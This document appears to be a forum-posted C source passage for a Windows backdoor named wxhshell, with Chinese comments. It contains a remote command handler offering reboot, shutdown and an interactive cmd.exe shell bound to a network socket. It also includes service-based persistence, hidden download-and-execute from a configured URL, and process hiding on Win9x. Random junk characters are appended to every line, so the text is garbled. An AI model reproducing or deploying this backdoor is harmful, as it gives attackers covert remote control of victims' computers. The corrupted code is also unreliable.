  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %Ul,9qG+  
  } GQYn |vm  
  else { ]5a3e+  
/2=9i84  
    switch(cmd[0]) { PD S( /x&  
  7@gH{p1  
  // 帮助 \l3z <\  
  case '?': { =d"5k DK-m  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); LD?\gK "  
    break; #Pd__NV"\  
  } *74/I>i  
  // 安装 19O    
  case 'i': { b#6mUl2  
    if(Install()) ;J+iwS*Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s Adb0 A  
    else *^ G,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kzCJs  
    break; N\tFK*U^I  
    } 2eRk_j]  
  // 卸载 fHZ9wK>  
  case 'r': { t D 8l0  
    if(Uninstall()) xa]yq%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yId1J  
    else Y[PC<-fyf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aLW3Ub{h  
    break; Sw>>]UjU  
    } D[]0/+,  
  // 显示 wxhshell 所在路径 ipGxi[Vav  
  case 'p': { ( ?(gz#-  
    char svExeFile[MAX_PATH]; +U ziO#D  
    strcpy(svExeFile,"\n\r"); _0^>^he  
      strcat(svExeFile,ExeFile); G!C }ULq  
        send(wsh,svExeFile,strlen(svExeFile),0); H-e$~vEbP  
    break; )n9,?F#l  
    } K^"l.V#J  
  // 重启 hfbu+w):  
  case 'b': { YSPUQ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); u Uq= L  
    if(Boot(REBOOT)) l-c:'n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Mby4(M+&n  
    else { {=d}04i)E"  
    closesocket(wsh); bnvY2-O6  
    ExitThread(0); :F[s  
    } e&!c8\F  
    break; +]wM$bP  
    } $Q'LDmot  
  // 关机 6Xo"?f  
  case 'd': { QAo/d4  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); AG%[?1IXW  
    if(Boot(SHUTDOWN)) O.y ?q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RiQg]3oY  
    else { * Z)j"i  
    closesocket(wsh); hCgk78O?  
    ExitThread(0); 6~{'\Z  
    } \AoqOC2u  
    break;  o4yl3o  
    } EAWBgOO8iC  
  // 获取shell jHHCJOHB8  
  case 's': { "8?Fl&=Q  
    CmdShell(wsh); d>MDC . j  
    closesocket(wsh); X+u1p?  
    ExitThread(0); vQ2{ +5!|  
    break; /d"@$+  
  } rhaq!s38:  
  // 退出 8sI$  
  case 'x': { _p9"MU&}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !z2xm3s{]p  
    CloseIt(wsh); 7cB{Iq0+  
    break; `YZl2c<w*  
    } >mMfZvxl%  
  // 离开 c`S+>:  
  case 'q': { >X:!Y[N  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); l:/x &=w  
    closesocket(wsh); !5[SNr3^  
    WSACleanup(); /$\8?<Pc".  
    exit(1); z"7X.*]  
    break; &IRM<A!8  
        } 8gt*`]I  
  } Bzt:9hr6BO  
  } qJonzFp7  
\x4:i\Fx@  
  // 提示信息 ij3W8i9'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z`Nss o=  
} $II ~tO  
  } )~nieQEZQ  
{wz_ngQ  
  return; EDnZ/)6Gg  
} fF#Fc&B  
;GOu'34j  
// shell模块句柄 [C;Neslo  
int CmdShell(SOCKET sock) ?X\.O-=4X  
{ i<tJG{A=  
STARTUPINFO si; HKO]_; :(  
ZeroMemory(&si,sizeof(si)); 9CN'2 9c  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; B` +, 8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6 A#xFPYY{  
PROCESS_INFORMATION ProcessInfo; ~mK +Q%G5  
char cmdline[]="cmd"; Gp)J[8j  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); lt2MB#  
  return 0; xA-?pLt "G  
} i!RYrae  
GGhk`z  
// 自身启动模式 >O~V#1 H  
int StartFromService(void) Y2dml!QM  
{  <|82)hO  
typedef struct ,jw`9a  
{ *O[/- p&7  
  DWORD ExitStatus; @8A[HP  
  DWORD PebBaseAddress; nr}Ols  
  DWORD AffinityMask; YvP62c \  
  DWORD BasePriority; 9~a5R]x2  
  ULONG UniqueProcessId; P-8QXDdr  
  ULONG InheritedFromUniqueProcessId; LH`2Y,E  
}   PROCESS_BASIC_INFORMATION; nf&5oE^  
$o$WFV+h  
PROCNTQSIP NtQueryInformationProcess; /<k 5"C% z  
 _X=6M gU  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; zA3r&stN+  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; IQ-l%x[fue  
asmu<  
  HANDLE             hProcess; anfnqa8  
  PROCESS_BASIC_INFORMATION pbi; #&L7FBJ"*v  
4ZR2U3jd1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,Sy& ?t}`  
  if(NULL == hInst ) return 0; C6@*l~j  
\"Z\Af<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); kr |k \  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1^tX:qR  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); yA_ly <  
V+l7W  
  if (!NtQueryInformationProcess) return 0; '(N(k@>{  
Zp<#( OIu  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Q0x?OL]A  
  if(!hProcess) return 0; dIhfp7|  
xpwy%uo  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0,.|-OZ  
?gvu E1  
  CloseHandle(hProcess); E_Y!in 70  
Bm%|WQK  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ZB/1I;l`c  
if(hProcess==NULL) return 0; %Lh+W<;  
UK,sMKbl1  
HMODULE hMod; ~.0'v [N  
char procName[255]; '^[+]  
unsigned long cbNeeded; w8J8III\~  
Zt=P 0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +KNd%AJ  
EdSUBoWF}  
  CloseHandle(hProcess); zM<L_l&  
+qT+iHa|n  
if(strstr(procName,"services")) return 1; // 以服务启动 8$ #z>  
I,)\506  
  return 0; // 注册表启动 MLmaA3  
} 5a)$:oO!  
se=^K#o  
// 主模块 :h3n[%  
int StartWxhshell(LPSTR lpCmdLine) u$(ei2f  
{ ({!H ()  
  SOCKET wsl; j?k|-0  
BOOL val=TRUE; 87eH~&<1  
  int port=0; h/8p2Mrqi  
  struct sockaddr_in door; Vx> Q  
Ip)u6We>I  
  if(wscfg.ws_autoins) Install(); K~S*<?  
nXI8`7D  
port=atoi(lpCmdLine); PCV#O63[  
Q&^\YgkCf  
if(port<=0) port=wscfg.ws_port; DxpJP,wY3  
R(cg`8  
  WSADATA data; |k%1mE(+=s  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5 ddfdIp  
Ld/6{w4ir  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   imAOYEH7}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &}pF6eIar  
  door.sin_family = AF_INET; 0G33hIOS  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ux| QGT2LY  
  door.sin_port = htons(port); G#6Z@|kVw  
KT>Y^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?d{O' &|:  
closesocket(wsl); #5'@at'1  
return 1; hdSP#Y'-  
} qfxEo76'  
L%QRWhB  
  if(listen(wsl,2) == INVALID_SOCKET) { (~E-=+R[$&  
closesocket(wsl); z5Tsu1 c  
return 1; Hz==,NR-W  
} U[8F{LX  
  Wxhshell(wsl); C8|#  
  WSACleanup(); :eJJL,v  
i ?uX'apk  
return 0; B I3fk  
<hTHY E=  
} #M+_Lk3  
^3H:I8gRCl  
// 以NT服务方式启动 |JHNFs  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,Oy$q~.  
{ o)7Ot\:E  
DWORD   status = 0; `YE= B{q  
  DWORD   specificError = 0xfffffff; S7#dyAX8  
j|N<6GSke  
  serviceStatus.dwServiceType     = SERVICE_WIN32; a l6y=;\jZ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [C<K~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; hN]l $Ct  
  serviceStatus.dwWin32ExitCode     = 0; 5;^1Ab0  
  serviceStatus.dwServiceSpecificExitCode = 0; {&B_b|g*fW  
  serviceStatus.dwCheckPoint       = 0; )|k#cT{=M  
  serviceStatus.dwWaitHint       = 0; UwF-*(#41  
.QwB7+V4  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Wi>m}^}9  
  if (hServiceStatusHandle==0) return; !cM<&3/  
"19#{yX4  
status = GetLastError(); *FZav2]-  
  if (status!=NO_ERROR) 4# ]g852  
{ M6^ \LtFt  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; d,Oagx  
    serviceStatus.dwCheckPoint       = 0; \@N~{72:k  
    serviceStatus.dwWaitHint       = 0; g7*Uuh#  
    serviceStatus.dwWin32ExitCode     = status; A*81}P_  
    serviceStatus.dwServiceSpecificExitCode = specificError; @o^$/AE?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); n]D io  
    return; 'd&d"E[  
  } yg* #~,  
W83PMiN"T-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; z/f._Z(  
  serviceStatus.dwCheckPoint       = 0; V@b7$z  
  serviceStatus.dwWaitHint       = 0; H^@Hco>|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); H-v[ShE  
} B7|%N=S%/  
<j,3Dn  
// 处理NT服务事件,比如:启动、停止 e.%I#rNI  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &ni#(   
{ 6DK).|@$r  
switch(fdwControl) ^,AE;Z T7  
{ Q@>1z*'I  
case SERVICE_CONTROL_STOP: C<I?4WM  
  serviceStatus.dwWin32ExitCode = 0; Qzo -Yw`=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; H.' 9]*  
  serviceStatus.dwCheckPoint   = 0; C7*YZe  
  serviceStatus.dwWaitHint     = 0; W;UPA~nT~  
  { !X~NL+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7iwck.*  
  } dh [kx  
  return; l5&5VC)  
case SERVICE_CONTROL_PAUSE: fR'!p: ~  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; >3KlI  
  break; fHEIys,{  
case SERVICE_CONTROL_CONTINUE: z 5(5\j]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "c]9Q%  
  break; {k-_+#W"  
case SERVICE_CONTROL_INTERROGATE: <#nU 06 fN  
  break; b$fmU"%&|  
}; /HhA2 (g%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fKqr$59>  
} pV  u[  
p5vQ.Ni*\-  
// 标准应用程序主函数 L[Z^4l_!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ex1!7A!}g  
{ CrL9|78  
]BbV\#  
// 获取操作系统版本 `Ds=a`^b  
OsIsNt=GetOsVer(); mI4GBp  
GetModuleFileName(NULL,ExeFile,MAX_PATH); hZL!%sL7  
vo\'ycPv  
  // 从命令行安装  R.HvqO  
  if(strpbrk(lpCmdLine,"iI")) Install(); b+J|yM<`  
z _\L@b  
  // 下载执行文件 R+(f~ j'  
if(wscfg.ws_downexe) { 3ej237~F,L  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]GY8f3~|{  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~/-SKGzo-  
} ;nW;M 4{  
R3lZ|rxv:  
if(!OsIsNt) { JQ0Z%;"  
// 如果时win9x,隐藏进程并且设置为注册表启动 Y,Z$U| U  
HideProc(); stUv!   
StartWxhshell(lpCmdLine); 2)|=+DN;  
} #-G@p  
else jLI1Ed  
  if(StartFromService()) y] D\i5Xv  
  // 以服务方式启动 &&P9T/Zks  
  StartServiceCtrlDispatcher(DispatchTable); uj.$GAtO)  
else $p0D9mF  
  // 普通方式启动 3!gz^[!?EN  
  StartWxhshell(lpCmdLine); #t(/wa4  
{ >[ ]iX  
return 0; V61oK  
}
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只看该作者 1 发表于: 2006-10-10
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